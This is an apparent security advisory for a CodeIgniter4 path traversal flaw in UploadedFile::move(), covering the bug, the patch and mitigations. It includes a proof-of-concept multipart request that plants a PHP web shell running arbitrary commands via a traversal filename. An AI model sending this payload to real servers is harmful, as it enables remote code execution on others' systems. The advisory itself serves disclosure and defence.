CVE-2026-63222: CodeIgniter4 Path Traversal in UploadedFile::move()
CodeIgniter4's file upload helper writes files to attacker-controlled paths when an application calls move() without a filename argument, because the raw client-supplied filename was never sanitized…

The problem
In CodeIgniter4 versions before 4.7.4, UploadedFile::move($targetPath) falls back to the client-provided filename when no second argument is passed. That filename is taken directly from the multipart Content-Disposition: filename field and used verbatim to build the destination path.
An attacker can set that filename to a path traversal sequence such as ../../public/shell.php. Depending on the upload directory and server configuration, the file lands outside the intended upload folder, potentially in a web-accessible location. This is a write-primitive that can result in remote code execution.
Proof of concept
A working proof-of-concept for CVE-2026-63222 in codeigniter4/framework, with the exact payload below.
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="userfile"; filename="../../public/shell.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------Boundary--The vulnerable code path resolved the destination filename by calling $this->getClientName() (which returns the raw $_FILES['tmp_name']['name'] value) and passing it directly to move_uploaded_file(). No path component stripping or sanitize_filename() call existed before the fix.
The patch (commit 20ebcf4) wraps the no-argument default with CodeIgniter's sanitize_filename() helper, which strips ../, ./, and other traversal sequences before constructing the target path. The CWE is CWE-22 (Path Traversal). Note that explicitly passing a client-provided name as the second argument, e.g. $file->move(WRITEPATH.'uploads', $file->getClientName()), is still unsafe after patching and remains the caller's responsibility to sanitize.
The fix
Upgrade to codeigniter4/framework v4.7.4 or later. If you cannot upgrade immediately, use $file->move(WRITEPATH.'uploads', $file->getRandomName()) to generate a safe name, or run the client filename through sanitize_filename($file->getClientName()) before passing it to move().
Never pass $file->getName() or $file->getClientName() as the second argument without sanitization, even on patched versions.
Related research
- critical · 9.4CVE-2026-63221CVE-2026-63221: CodeIgniter4 Query Builder SQL Injection via deleteBatch() and where()
- critical · 9.8CVE-2026-63223CVE-2026-63223: CodeIgniter4 Uploaded File Extension Validation Bypass in is_image and mime_in Rules
- critical · 9.9FacturaScripts Path Traversal to Remote Code Execution via UploadedFile::move()
- high · 7.5CVE-2026-45693CVE-2026-45693: FacturaScripts Unauthenticated Path Traversal in Static File Controllers